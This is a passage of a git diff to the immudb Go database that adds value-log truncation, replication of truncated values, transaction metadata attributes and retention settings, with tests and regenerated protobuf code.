tp SQLValueType) TypedValue { + switch v := v.(type) { + case nil: + return &NullValue{t: tp} + case int: + return &Number{val: int64(v)} + case string: + return &Varchar{val: v} + case []byte: + return &Blob{val: v} + case bool: + return &Bool{val: v} + } + require.Fail(t, "Unknown type of value") + return nil + } + + tRow := func( + table string, + id int64, + v1, v2, v3 interface{}, + ) *Row { + idVal := &Number{val: id} + v1Val := colVal(t, v1, IntegerType) + v2Val := colVal(t, v2, VarcharType) + v3Val := colVal(t, v3, AnyType) + + return &Row{ + ValuesByPosition: []TypedValue{ + idVal, + v1Val, + v3Val, + v2Val, + }, + ValuesBySelector: map[string]TypedValue{ + EncodeSelector("", "db1", table, "id"): idVal, + EncodeSelector("", "db1", table, "name"): v1Val, + EncodeSelector("", "db1", table, "amount"): v3Val, + EncodeSelector("", "db1", table, "surname"): v2Val, + }, + } + } + + // create two tables + exec(t, "CREATE TABLE table1 (id INTEGER AUTO_INCREMENT, name VARCHAR[50], amount INTEGER, PRIMARY KEY id)") + exec(t, "CREATE UNIQUE INDEX ON table1 (name)") + exec(t, "CREATE UNIQUE INDEX ON table1 (name, amount)") + query(t, "SELECT * FROM table1") + + exec(t, "CREATE TABLE table2 (id INTEGER AUTO_INCREMENT, name VARCHAR[50], amount INTEGER, PRIMARY KEY id)") + exec(t, "CREATE UNIQUE INDEX ON table2 (name)") + exec(t, "CREATE UNIQUE INDEX ON table2 (name, amount)") + query(t, "SELECT * FROM table2") + + t.Run("should fail due to unique index", func(t *testing.T) { + _, _, err := engine.Exec("INSERT INTO table1 (name, amount) VALUES ('name1', 10), ('name1', 10)", nil, nil) + require.ErrorIs(t, err, store.ErrKeyAlreadyExists) + }) + + // insert some data + var deleteUptoTx *store.TxHeader + t.Run("insert few transactions", func(t *testing.T) { + for i := 1; i <= 5; i++ { + key := []byte(fmt.Sprintf("key_%d", i)) + value := []byte(fmt.Sprintf("val_%d", i)) + tx, err := st.NewWriteOnlyTx() + require.NoError(t, err) + + err = tx.Set(key, nil, value) + require.NoError(t, err) + + deleteUptoTx, err = tx.Commit() + require.NoError(t, err) + } + }) + + // alter table to add a new column to both tables + t.Run("alter table and add data", func(t *testing.T) { + exec(t, "ALTER TABLE table1 ADD COLUMN surname VARCHAR") + exec(t, "INSERT INTO table1(name, surname, amount) VALUES('Foo', 'Bar', 0)") + exec(t, "INSERT INTO table1(name, surname, amount) VALUES('Fin', 'Baz', 0)") + + exec(t, "ALTER TABLE table2 ADD COLUMN surname VARCHAR") + exec(t, "INSERT INTO table2(name, surname, amount) VALUES('Foo', 'Bar', 0)") + exec(t, "INSERT INTO table2(name, surname, amount) VALUES('Fin', 'Baz', 0)") + }) + + // copy current catalog for recreating the catalog for database/table + t.Run("succeed copying catalog for db", func(t *testing.T) { + tx, err := engine.CopyCatalog(context.Background()) + require.NoError(t, err) + hdr, err := tx.Commit() + require.NoError(t, err) + // ensure that the last committed txn is the one we just committed + require.Equal(t, hdr.ID, st.LastCommittedTxID()) + }) + + // delete txns in the store upto a certain txn + t.Run("succeed truncating sql catalog", func(t *testing.T) { + hdr, err := st.ReadTxHeader(deleteUptoTx.ID, false) + require.NoError(t, err) + require.NoError(t, st.TruncateUptoTx(hdr.ID)) + }) + + // add more data in table post truncation + t.Run("add data post truncation", func(t *testing.T) { + exec(t, "INSERT INTO table1(name, surname, amount) VALUES('John', 'Doe', 0)") + exec(t, "INSERT INTO table1(name, surname, amount) VALUES('Smith', 'John', 0)") + + exec(t, "INSERT INTO table2(name, surname, amount) VALUES('John', 'Doe', 0)") + exec(t, "INSERT INTO table2(name, surname, amount) VALUES('Smith', 'John', 0)") + + }) + + // check if can query the table with new catalogue + t.Run("succeed loading catalog from latest schema", func(t *testing.T) { + query(t, + "SELECT * FROM table1", + tRow("table1", 1, "Foo", "Bar", 0), + tRow("table1", 2, "Fin", "Baz", 0), + tRow("table1", 3, "John", "Doe", 0), + tRow("table1", 4, "Smith", "John", 0), + ) + + query(t, + "SELECT * FROM table2", + tRow("table2", 1, "Foo", "Bar", 0), + tRow("table2", 2, "Fin", "Baz", 0), + tRow("table2", 3, "John", "Doe", 0), + tRow("table2", 4, "Smith", "John", 0), + ) + + }) + + t.Run("indexing should work with new catalogue", func(t *testing.T) { + _, _, err := engine.Exec("INSERT INTO table1 (name, amount) VALUES ('name1', 10), ('name1', 10)", nil, nil) + require.ErrorIs(t, err, store.ErrKeyAlreadyExists) + + // should fail due non-available index + _, err = engine.Query("SELECT * FROM table1 ORDER BY amount DESC", nil, nil) + require.ErrorIs(t, err, ErrNoAvailableIndex) + + // should use primary index by default + r, err := engine.Query("SELECT * FROM table1", nil, nil) + require.NoError(t, err) + + orderBy := r.OrderBy() + require.NotNil(t, orderBy) + require.Len(t, orderBy, 1) + require.Equal(t, "id", orderBy[0].Column) + + scanSpecs := r.ScanSpecs() + require.NotNil(t, scanSpecs) + require.NotNil(t, scanSpecs.Index) + require.True(t, scanSpecs.Index.IsPrimary()) + require.Empty(t, scanSpecs.rangesByColID) + require.False(t, scanSpecs.DescOrder) + + err = r.Close() + require.NoError(t, err) + + }) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 8e0bf4c6bc..17afe8df40 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -103,6 +103,7 @@ var ErrMetadataUnsupported = errors.New( ) var ErrUnsupportedTxHeaderVersion = errors.New("missing tx header serialization method") +var ErrIllegalTruncationArgument = fmt.Errorf("%w: invalid truncation info", ErrIllegalArguments) const MaxKeyLen = 1024 // assumed to be not lower than hash size const MaxParallelIO = 127 @@ -1171,7 +1172,11 @@ func (s *ImmuStore) precommit(ctx context.Context, otx *OngoingTx, hdr *TxHeader txe.setKey(e.Key) txe.md = e.Metadata txe.vLen = len(e.Value) - txe.hVal = sha256.Sum256(e.Value) + if e.isValueTruncated { + txe.hVal = byte32(e.hashValue) + } else { + txe.hVal = sha256.Sum256(e.Value) + } } err = tx.BuildHashTree() @@ -2048,6 +2053,7 @@ func (s *ImmuStore) ExportTx(txID uint64, allowPrecommitted bool, tx *Tx) ([]byt return nil, err } + var isValueTruncated bool for _, e := range tx.Entries() { var blen [lszSize]byte @@ -2094,19 +2100,63 @@ func (s *ImmuStore) ExportTx(txID uint64, allowPrecommitted bool, tx *Tx) ([]byt // TODO: improve value reading implementation, get rid of _valBs s._valBsMux.Lock() _, err = s.readValueAt(s._valBs[:e.vLen], e.vOff, e.hVal) - if err != nil { + if err != nil && err != io.EOF { s._valBsMux.Unlock() return nil, err } - _, err = buf.Write(s._valBs[:e.vLen]) - if err != nil { - s._valBsMux.Unlock() - return nil, err + // if the error is eof, the value has been truncated, so we do not write the value bytes + if err == io.EOF { + isValueTruncated = true + // vHash + binary.BigEndian.PutUint32(blen[:], uint32(len(e.hVal))) + _, err = buf.Write(blen[:]) + if err != nil { + s._valBsMux.Unlock() + return nil, err + } + _, err = buf.Write(e.hVal[:]) + if err != nil { + s._valBsMux.Unlock() + return nil, err + } + } else { + // vLen + binary.BigEndian.PutUint32(blen[:], uint32(e.vLen)) + _, err = buf.Write(blen[:]) + if err != nil { + s._valBsMux.Unlock() + return nil, err + } + + _, err = buf.Write(s._valBs[:e.vLen]) + if err != nil { + s._valBsMux.Unlock() + return nil, err + } } s._valBsMux.Unlock() } + // NOTE: adding a boolean to the header to indicate if the transaction has values or not, + // so that ReplicateTx knows if the transaction should be precommited with no values + var truncatedValByte [1]byte + truncatedValByte[0] = 0 + if isValueTruncated { + truncatedValByte[0] = 1 + } + + binary.BigEndian.PutUint16(b[:], uint16(len(truncatedValByte))) + _, err = buf.Write(b[:sszSize]) + if err != nil { + return nil, err + } + + _, err = buf.Write(truncatedValByte[:]) + if err != nil { + return nil, err + } + return buf.Bytes(), nil } @@ -2142,6 +2192,7 @@ func (s *ImmuStore) ReplicateTx(ctx context.Context, exportedTx []byte, waitForI txSpec.metadata = hdr.Metadata + var entries []*EntrySpec = make([]*EntrySpec, 0) for e := 0; e < hdr.NEntries; e++ { if len(exportedTx) < i+2*sszSize+lszSize { return nil, ErrIllegalArguments @@ -2177,6 +2228,7 @@ func (s *ImmuStore) ReplicateTx(ctx context.Context, exportedTx []byte, waitForI i += mdLen } + // value vLen := int(binary.BigEndian.Uint32(exportedTx[i:])) i += lszSize @@ -2184,18 +2236,53 @@ func (s *ImmuStore) ReplicateTx(ctx context.Context, exportedTx []byte, waitForI return nil, ErrIllegalArguments } - err = txSpec.Set(key, md, exportedTx[i:i+vLen]) - if err != nil { - return nil, err - } + entries = append(entries, &EntrySpec{ + Key: key, + Metadata: md, + Value: exportedTx[i : i+vLen], + }) i += vLen } + var isTruncated bool + + // check if there is truncated value information in the transaction + if i < len(exportedTx) { + // information for truncated value + tLen := int(binary.BigEndian.Uint16(exportedTx[i:])) + i += sszSize + if len(exportedTx) < i+tLen { + return nil, ErrIllegalArguments + } + + v := exportedTx[i : i+tLen] + // v[0] == 1 means that the value is truncated + // validate that the value is either 0 or 1 + if v != nil && len(v) > 0 && v[0] > 1 { + return nil, ErrIllegalTruncationArgument + } + isTruncated = v[0] == 1 + i += tLen + } + if i != len(exportedTx) { return nil, ErrIllegalArguments } + // add entries to tx + for _, e := range entries { + var err error + if isTruncated { + err = txSpec.set(e.Key, e.Metadata, nil, e.Value, isTruncated) + } else { + err = txSpec.set(e.Key, e.Metadata, e.Value, nil, isTruncated) + } + if err != nil { + return nil, err + } + } + txHdr, err := s.precommit(ctx, txSpec, hdr) if err != nil { return nil, err @@ -2468,11 +2555,16 @@ func (s *ImmuStore) ReadValue(entry *TxEntry) ([]byte, error) { b := make([]byte, entry.vLen) - _, err := s.readValueAt(b, entry.vOff, entry.hVal) + bval, err := s.readValueAt(b, entry.vOff, entry.hVal) if err != nil { return nil, err } + // if bval == 0, the value is nil + if bval == 0 { + return nil, nil + } + return b, nil } @@ -2507,13 +2599,15 @@ func (s *ImmuStore) readValueAt(b []byte, off int64, hvalue [sha256.Size]byte) ( return n, err } } - } - if hvalue != sha256.Sum256(b) { - return len(b), ErrCorruptedData + if hvalue != sha256.Sum256(b) { + return len(b), ErrCorruptedData + } + + return len(b), nil } - return len(b), nil + return 0, nil } func (s *ImmuStore) validateEntries(entries []*EntrySpec) error { @@ -2774,3 +2868,162 @@ func minUint64(a, b uint64) uint64 { } return a } + +// readTxOffsetAt reads the value-log offset of a specific entry (index) in a transaction (txID) +func (s *ImmuStore) readTxOffsetAt(txID uint64, allowPrecommitted bool, index int) (*TxEntry, error) { + s.mutex.Lock() + defer s.mutex.Unlock() + + if s.closed { + return nil, ErrAlreadyClosed + } + + r, err := s.appendableReaderForTx(txID, allowPrecommitted) + if err != nil { + return nil, err + } + + tdr := &txDataReader{r: r} + + hdr, err := tdr.readHeader(s.maxTxEntries) + if err != nil { + return nil, err + } + + if hdr.NEntries < index { + return nil, ErrCorruptedTxDataMaxTxEntriesExceeded + } + + e := &TxEntry{k: make([]byte, s.maxKeyLen)} + + for i := 0; i < index; i++ { + err = tdr.readEntry(e) + if err != nil { + return nil, err + } + } + + return e, nil +} + +// TruncateUptoTx deletes the value-log file up to transactions +// that are strictly below the specified minTxID. +func (s *ImmuStore) TruncateUptoTx(minTxID uint64) error { + /* + When values are appended to the value log file, they are not + inserted in strict monotic order of time. Depending on the + maxConcurrency value, there could be n transactions trying + to insert into the log at the same time. This could lead to + the situation where a transaction (n+1) could be inserted + in the value log before transaction (n) + discard point + | + v + --------+-------+--------+---------- + | | | + tn+1:vx tn:vx tn-1:vx + | | + +----------------+ + max concurrency + range + If the log is truncated upto tn, it could lead to removal of + data for tn+1. To avoid this overlap, we first go back from + the discard point to fetch offsets across vlogs for safe delete + points, and then check for transactions further than the + discard point to figure out the least offset from the range + which can safely be deleted. This offset, tn+1 in the above + scenario is the safest point to discard upto to avoid deletion + of values for any future transaction. + */ + + s.logger.Infof("running truncation up to transaction '%d'", minTxID) + + var err error + stones := make(map[byte]int64) + + readFirstEntryOffset := func(id uint64) (*TxEntry, error) { + return s.readTxOffsetAt(id, false, 1) + } + + back := func(id uint64) error { + first, err := readFirstEntryOffset(id) + if err != nil { + return err + } + + // Iterate over all past transactions and store the minimum offset for each value log file. + v, off := decodeOffset(first.VOff()) + if _, ok := stones[v]; !ok { + stones[v] = off + } + return nil + } + + front := func(id uint64) error { + first, err := readFirstEntryOffset(id) + if err != nil { + return err + } + + // Check if any future transaction offset lies before past transaction(s) + // If so, then update the offset to the minimum offset for that value log file. + v, off := decodeOffset(first.VOff()) + if val, ok := stones[v]; ok { + if off < val { + stones[v] = off + } + } + return nil + } + + // Walk back to get offsets across vlogs which can be deleted safely. + // This way, we can calculate the minimum offset for each value log file. + { + var i uint64 = minTxID + for i > 0 && len(stones) != s.MaxIOConcurrency() { + err = back(i) + i-- + if err != nil { // if txn not found, then continue as previous txn could have been deleted + s.logger.Errorf("failed to fetch transaction %d {traversal=back, err = %v}", i, err) + } + } + } + + // Walk front to check if any future transaction offset lies before past transaction(s) + { + // Check for transactions upto the last committed transaction to avoid deletion of values for any future transaction. + maxTxID := s.LastCommittedTxID() + s.logger.Infof("running truncation check between transaction '%d' and '%d'", minTxID, maxTxID) + + // TODO: add more integration tests + // Iterate over all future transactions to check if any offset lies before past transaction(s) offset. + for j := minTxID; j <= maxTxID; j++ { + err = front(j) + if err != nil { + s.logger.Errorf("failed to fetch transaction %d {traversal=front, err = %v}", j, err) + return err + } + } + } + + // Delete offset from different value logs + merr := multierr.NewMultiErr() + { + for vLogID, offset := range stones { + vlog := s.fetchVLog(vLogID) + defer s.releaseVLog(vLogID) + s.logger.Infof("truncating vlog '%d' at offset '%d'", vLogID, offset) + err := vlog.DiscardUpto(offset) + merr.Append(err) + } + } + + return merr.Reduce() +} + +// TODO!! test this +func byte32(s []byte) [32]byte { + var a [32]byte + copy(a[:], s) + return a +} diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index 26210720e2..0d155d816c 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -56,7 +56,7 @@ func immustoreClose(t *testing.T, immuStore *ImmuStore) { } func tempTxHolder(t *testing.T, immuStore *ImmuStore) *Tx { - return newTx(immuStore.maxTxEntries, immuStore.maxKeyLen) + return NewTx(immuStore.maxTxEntries, immuStore.maxKeyLen) } func TestImmudbStoreConcurrency(t *testing.T) { @@ -753,9 +753,9 @@ func TestImmudbStoreEdgeCases(t *testing.T) { _, err = immuStore.DualProof(nil, nil) require.ErrorIs(t, err, ErrIllegalArguments) - sourceTx := newTx(1, 1) + sourceTx := NewTx(1, 1) sourceTx.header.ID = 2 - targetTx := newTx(1, 1) + targetTx := NewTx(1, 1) targetTx.header.ID = 1 _, err = immuStore.DualProof(sourceTx.Header(), targetTx.Header()) require.ErrorIs(t, err, ErrSourceTxNewerThanTargetTx) diff --git a/embedded/store/key_reader.go b/embedded/store/key_reader.go index 7a6c69a1e2..9574e2d30e 100644 --- a/embedded/store/key_reader.go +++ b/embedded/store/key_reader.go @@ -252,7 +252,7 @@ func (st *ImmuStore) valueRefFrom(tx, hc uint64, indexedVal []byte) (ValueRef, e } if txmdLen > 0 { - txmd = &TxMetadata{} + txmd = NewTxMetadata() err := txmd.ReadFrom(indexedVal[i : i+txmdLen]) if err != nil { diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index 09f525f93a..b0004085c5 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -69,6 +69,13 @@ type EntrySpec struct { Key []byte Metadata *KVMetadata Value []byte + // hashValue is the hash of the value + // if the actual value is truncated. This is + // used during replication. + hashValue []byte + // isValueTruncated is true if the value is + // truncated. This is used during replication. + isValueTruncated bool } func newOngoingTx(ctx context.Context, s *ImmuStore, opts *TxOptions) (*OngoingTx, error) { @@ -183,7 +190,7 @@ func (tx *OngoingTx) Metadata() *TxMetadata { return tx.metadata } -func (tx *OngoingTx) Set(key []byte, md *KVMetadata, value []byte) error { +func (tx *OngoingTx) set(key []byte, md *KVMetadata, value []byte, hashValue []byte, isValueTruncated bool) error { if tx.closed { return ErrAlreadyClosed } @@ -223,9 +230,11 @@ func (tx *OngoingTx) Set(key []byte, md *KVMetadata, value []byte) error { } e := &EntrySpec{ - Key: key, - Metadata: md, - Value: value, + Key: key, + Metadata: md, + Value: value, + hashValue: hashValue, + isValueTruncated: isValueTruncated, } if isKeyUpdate { @@ -238,6 +247,10 @@ func (tx *OngoingTx) Set(key []byte, md *KVMetadata, value []byte) error { return nil } +func (tx *OngoingTx) Set(key []byte, md *KVMetadata, value []byte) error { + return tx.set(key, md, value, nil, false) +} + func (tx *OngoingTx) AddPrecondition(c Precondition) error { if tx.closed { return ErrAlreadyClosed diff --git a/embedded/store/options.go b/embedded/store/options.go index 0f262ef198..72ce86c3fd 100644 --- a/embedded/store/options.go +++ b/embedded/store/options.go @@ -50,6 +50,7 @@ const DefaultWriteTxHeaderVersion = MaxTxHeaderVersion const DefaultWriteBufferSize = 1 << 22 //4Mb const DefaultIndexingMaxBulkSize = 1 const DefaultBulkPreparationTimeout = DefaultSyncFrequency +const DefaultTruncationFrequency = 24 * time.Hour const MaxFileSize = (1 << 31) - 1 // 2Gb diff --git a/embedded/store/tx.go b/embedded/store/tx.go index 58ce9b1a92..c66bdf7c54 100644 --- a/embedded/store/tx.go +++ b/embedded/store/tx.go @@ -49,7 +49,7 @@ type TxHeader struct { Eh [sha256.Size]byte } -func newTx(nentries int, maxKeyLen int) *Tx { +func NewTx(nentries int, maxKeyLen int) *Tx { entries := make([]*TxEntry, nentries) keyBuffer := make([]byte, maxKeyLen*nentries) @@ -78,10 +78,11 @@ func NewTxWithEntries(header *TxHeader, entries []*TxEntry) *Tx { func (tx *Tx) Header() *TxHeader { var txmd *TxMetadata - if tx.header.Metadata != nil { - txmd = &TxMetadata{} + if tx.header.Metadata == nil { + txmd = NewTxMetadata() + } else { + txmd = tx.header.Metadata } - return &TxHeader{ ID: tx.header.ID, Ts: tx.header.Ts, @@ -205,7 +206,7 @@ func (hdr *TxHeader) ReadFrom(b []byte) error { } if mdLen > 0 { - hdr.Metadata = &TxMetadata{} + hdr.Metadata = NewTxMetadata() err := hdr.Metadata.ReadFrom(b[i : i+mdLen]) if err != nil { @@ -487,7 +488,7 @@ func (t *txDataReader) readHeader(maxEntries int) (*TxHeader, error) { return nil, err } - txmd = &TxMetadata{} + txmd = NewTxMetadata() err = txmd.ReadFrom(mdBs[:mdLen]) if err != nil { diff --git a/embedded/store/tx_metadata.go b/embedded/store/tx_metadata.go index 9e56fb0182..a9c3473d86 100644 --- a/embedded/store/tx_metadata.go +++ b/embedded/store/tx_metadata.go @@ -16,26 +16,165 @@ limitations under the License. package store -const maxTxMetadataLen = 0 +import ( + "bytes" + "encoding/binary" + "fmt" +) +// attributeCode is used to identify the attribute. +const ( + truncatedUptoTxAttrCode attributeCode = 0 +) + +// attribute size is the size of the attribute in bytes. +const ( + truncatedUptoTxAttrSize = txIDSize +) + +const maxTxMetadataLen = (attrCodeSize + truncatedUptoTxAttrSize) + +// truncatedUptoTxAttribute is used to identify that the transaction +// stores the information up to which given transaction ID the +// database was truncated. +type truncatedUptoTxAttribute struct { + txID uint64 +} + +// code returns the attribute code. +func (a *truncatedUptoTxAttribute) code() attributeCode { + return truncatedUptoTxAttrCode +} + +// serialize returns the serialized attribute. +func (a *truncatedUptoTxAttribute) serialize() []byte { + var b [txIDSize]byte + binary.BigEndian.PutUint64(b[:], a.txID) + return b[:] +} + +// deserialize deserializes the attribute. +func (a *truncatedUptoTxAttribute) deserialize(b []byte) (int, error) { + if len(b) < txIDSize { + return 0, ErrCorruptedData + } + + a.txID = binary.BigEndian.Uint64(b) + return txIDSize, nil +} + +func getAttributeFrom(attrCode attributeCode) (attribute, error) { + switch attrCode { + case truncatedUptoTxAttrCode: + { + return &truncatedUptoTxAttribute{}, nil + } + default: + { + return nil, fmt.Errorf("error reading tx metadata attributes: %w", ErrCorruptedData) + } + } +} + +// TxMetadata is used to store metadata of a transaction. type TxMetadata struct { + // attributes is a map of attributes. + attributes map[attributeCode]attribute } func NewTxMetadata() *TxMetadata { - return &TxMetadata{} + return &TxMetadata{ + attributes: make(map[attributeCode]attribute), + } } func (md *TxMetadata) Equal(amd *TxMetadata) bool { - return true + if amd == nil || md == nil { + return false + } + return bytes.Equal(md.Bytes(), amd.Bytes()) } func (md *TxMetadata) Bytes() []byte { - return nil + var b bytes.Buffer + + for _, attrCode := range []attributeCode{truncatedUptoTxAttrCode} { + attr, ok := md.attributes[attrCode] + if ok { + b.WriteByte(byte(attr.code())) + b.Write(attr.serialize()) + } + } + + return b.Bytes() } func (md *TxMetadata) ReadFrom(b []byte) error { - if len(b) != 0 { + if len(b) > maxKVMetadataLen { return ErrCorruptedData } + + i := 0 + + for { + if len(b) == i { + break + } + + if len(b[i:]) < attrCodeSize { + return ErrCorruptedData + } + + attrCode := attributeCode(b[i]) + i += attrCodeSize + + attr, err := getAttributeFrom(attrCode) + if err != nil { + return err + } + + n, err := attr.deserialize(b[i:]) + if err != nil { + return fmt.Errorf("error reading tx metadata attributes: %w", err) + } + + i += n + + md.attributes[attr.code()] = attr + } + return nil } + +// HasTruncatedTxID returns true if the transaction stores the information +// up to which given transaction ID the database was truncated. +func (md *TxMetadata) HasTruncatedTxID() bool { + _, ok := md.attributes[truncatedUptoTxAttrCode] + return ok +} + +// GetTruncatedTxID returns the transaction ID up to which the +// database was last truncated. +func (md *TxMetadata) GetTruncatedTxID() (uint64, error) { + attr, ok := md.attributes[truncatedUptoTxAttrCode] + if !ok { + return 0, ErrTxNotFound + } + + return attr.(*truncatedUptoTxAttribute).txID, nil +} + +// WithTruncatedTxID sets the vlog truncated attribute indicating +// that the transaction stores the information up to which given +// transaction ID the database was truncated. +func (md *TxMetadata) WithTruncatedTxID(txID uint64) *TxMetadata { + attr, ok := md.attributes[truncatedUptoTxAttrCode] + if !ok { + attr = &truncatedUptoTxAttribute{txID: txID} + md.attributes[truncatedUptoTxAttrCode] = attr + return md + } + + attr.(*truncatedUptoTxAttribute).txID = txID + return md +} diff --git a/embedded/store/tx_metadata_test.go b/embedded/store/tx_metadata_test.go index 1f2b8f664f..e8a76af78d 100644 --- a/embedded/store/tx_metadata_test.go +++ b/embedded/store/tx_metadata_test.go @@ -1,12 +1,9 @@ /* Copyright 2022 Codenotary Inc. All rights reserved. - Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 - Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. @@ -23,7 +20,7 @@ import ( ) func TestTxMetadata(t *testing.T) { - md := &TxMetadata{} + md := NewTxMetadata() bs := md.Bytes() require.Nil(t, bs) @@ -31,7 +28,7 @@ func TestTxMetadata(t *testing.T) { err := md.ReadFrom(bs) require.NoError(t, err) - desmd := &TxMetadata{} + desmd := NewTxMetadata() err = desmd.ReadFrom(nil) require.NoError(t, err) @@ -40,3 +37,38 @@ func TestTxMetadata(t *testing.T) { require.True(t, md.Equal(desmd)) } + +func TestTxMetadataWithAttributes(t *testing.T) { + md := NewTxMetadata() + + bs := md.Bytes() + require.Len(t, bs, 0) + + err := md.ReadFrom(bs) + require.NoError(t, err) + require.False(t, md.HasTruncatedTxID()) + + desmd := NewTxMetadata() + + err = desmd.ReadFrom(nil) + require.NoError(t, err) + + desmd.WithTruncatedTxID(1) + require.True(t, desmd.HasTruncatedTxID()) + v, err := desmd.GetTruncatedTxID() + require.NoError(t, err) + require.Equal(t, uint64(1), v) + + desmd.WithTruncatedTxID(10) + v, err = desmd.GetTruncatedTxID() + require.NoError(t, err) + require.Equal(t, uint64(10), v) + + bs = desmd.Bytes() + require.NotNil(t, bs) + require.Len(t, bs, maxTxMetadataLen) + + err = desmd.ReadFrom(bs) + require.NoError(t, err) + require.True(t, desmd.HasTruncatedTxID()) +} diff --git a/embedded/store/tx_test.go b/embedded/store/tx_test.go index 00b61e95a3..13673d527b 100644 --- a/embedded/store/tx_test.go +++ b/embedded/store/tx_test.go @@ -35,7 +35,7 @@ func TestReadTxFromCorruptedData(t *testing.T) { r := appendable.NewReaderFrom(a, 0, 1) require.NotNil(t, r) - tx := newTx(1, 32) + tx := NewTx(1, 32) // Should fail while reading TxID a.ReadAtFn = func(bs []byte, off int64) (int, error) { diff --git a/embedded/store/txpool.go b/embedded/store/txpool.go index fbed9f9490..c2d9bf1459 100644 --- a/embedded/store/txpool.go +++ b/embedded/store/txpool.go @@ -53,7 +53,7 @@ func newTxPool(opts txPoolOptions) (TxPool, error) { if opts.preallocated { for i := 0; i < opts.poolSize; i++ { - ret.pool = append(ret.pool, newTx(opts.maxTxEntries, opts.maxKeyLen)) + ret.pool = append(ret.pool, NewTx(opts.maxTxEntries, opts.maxKeyLen)) } } @@ -69,7 +69,7 @@ func (p *txPool) Alloc() (*Tx, error) { return nil, ErrTxPoolExhausted } - p.pool = append(p.pool, newTx(p.opts.maxTxEntries, p.opts.maxKeyLen)) + p.pool = append(p.pool, NewTx(p.opts.maxTxEntries, p.opts.maxKeyLen)) } tx := p.pool[p.used] diff --git a/pkg/api/schema/docs.md b/pkg/api/schema/docs.md index 849b2786f5..2a268e802d 100644 --- a/pkg/api/schema/docs.md +++ b/pkg/api/schema/docs.md @@ -449,6 +449,8 @@ DEPRECATED | maxActiveTransactions | [NullableUint32](#immudb.schema.NullableUint32) | | Maximum number of pre-committed transactions | | mvccReadSetLimit | [NullableUint32](#immudb.schema.NullableUint32) | | Limit the number of read entries per transaction | | vLogCacheSize | [NullableUint32](#immudb.schema.NullableUint32) | | Size of the LRU cache for value logs | +| retentionPeriod | [NullableMilliseconds](#immudb.schema.NullableMilliseconds) | | Retention Period for data in the database | +| truncationFrequency | [NullableMilliseconds](#immudb.schema.NullableMilliseconds) | | Truncation Frequency for the database | diff --git a/pkg/api/schema/schema.pb.go b/pkg/api/schema/schema.pb.go index a156cfd050..a0b8245e4e 100644 --- a/pkg/api/schema/schema.pb.go +++ b/pkg/api/schema/schema.pb.go @@ -16,18 +16,18 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: // protoc-gen-go v1.28.0 -// protoc v3.11.4 +// protoc v3.21.9 // source: schema.proto package schema import ( - empty "github.com/golang/protobuf/ptypes/empty" - _struct "github.com/golang/protobuf/ptypes/struct" _ "github.com/grpc-ecosystem/grpc-gateway/protoc-gen-swagger/options" _ "google.golang.org/genproto/googleapis/api/annotations" protoreflect "google.golang.org/protobuf/reflect/protoreflect" protoimpl "google.golang.org/protobuf/runtime/protoimpl" + emptypb "google.golang.org/protobuf/types/known/emptypb" + structpb "google.golang.org/protobuf/types/known/structpb" reflect "reflect" sync "sync" ) @@ -959,7 +959,6 @@ type Precondition struct { unknownFields protoimpl.UnknownFields // Types that are assignable to Precondition: - // // *Precondition_KeyMustExist // *Precondition_KeyMustNotExist // *Precondition_KeyNotModifiedAfterTX @@ -1303,7 +1302,6 @@ type Op struct { unknownFields protoimpl.UnknownFields // Types that are assignable to Operation: - // // *Op_Kv // *Op_ZAdd // *Op_Ref @@ -5514,6 +5512,10 @@ type DatabaseNullableSettings struct { MvccReadSetLimit *NullableUint32 `protobuf:"bytes,27,opt,name=mvccReadSetLimit,proto3" json:"mvccReadSetLimit,omitempty"` // Size of the LRU cache for value logs VLogCacheSize *NullableUint32 `protobuf:"bytes,28,opt,name=vLogCacheSize,proto3" json:"vLogCacheSize,omitempty"` + // Retention Period for data in the database + RetentionPeriod *NullableMilliseconds `protobuf:"bytes,29,opt,name=retentionPeriod,proto3" json:"retentionPeriod,omitempty"` + // Truncation Frequency for the database + TruncationFrequency *NullableMilliseconds `protobuf:"bytes,30,opt,name=truncationFrequency,proto3" json:"truncationFrequency,omitempty"` } func (x *DatabaseNullableSettings) Reset() { @@ -5702,6 +5704,20 @@ func (x *DatabaseNullableSettings) GetVLogCacheSize() *NullableUint32 { return nil } +func (x *DatabaseNullableSettings) GetRetentionPeriod() *NullableMilliseconds { + if x != nil { + return x.RetentionPeriod + } + return nil +} + +func (x *DatabaseNullableSettings) GetTruncationFrequency() *NullableMilliseconds { + if x != nil { + return x.TruncationFrequency + } + return nil +} + type ReplicationNullableSettings struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -7827,7 +7843,6 @@ type SQLValue struct { unknownFields protoimpl.UnknownFields // Types that are assignable to Value: - // // *SQLValue_Null // *SQLValue_N // *SQLValue_S @@ -7876,11 +7891,11 @@ func (m *SQLValue) GetValue() isSQLValue_Value { return nil } -func (x *SQLValue) GetNull() _struct.NullValue { +func (x *SQLValue) GetNull() structpb.NullValue { if x, ok := x.GetValue().(*SQLValue_Null); ok { return x.Null } - return _struct.NullValue(0) + return structpb.NullValue(0) } func (x *SQLValue) GetN() int64 { @@ -7923,7 +7938,7 @@ type isSQLValue_Value interface { } type SQLValue_Null struct { - Null _struct.NullValue `protobuf:"varint,1,opt,name=null,proto3,enum=google.protobuf.NullValue,oneof"` + Null structpb.NullValue `protobuf:"varint,1,opt,name=null,proto3,enum=google.protobuf.NullValue,oneof"` } type SQLValue_N struct { @@ -9024,7 +9039,7 @@ var file_schema_proto_rawDesc = []byte{ 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x2c, 0x0a, 0x14, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x12, 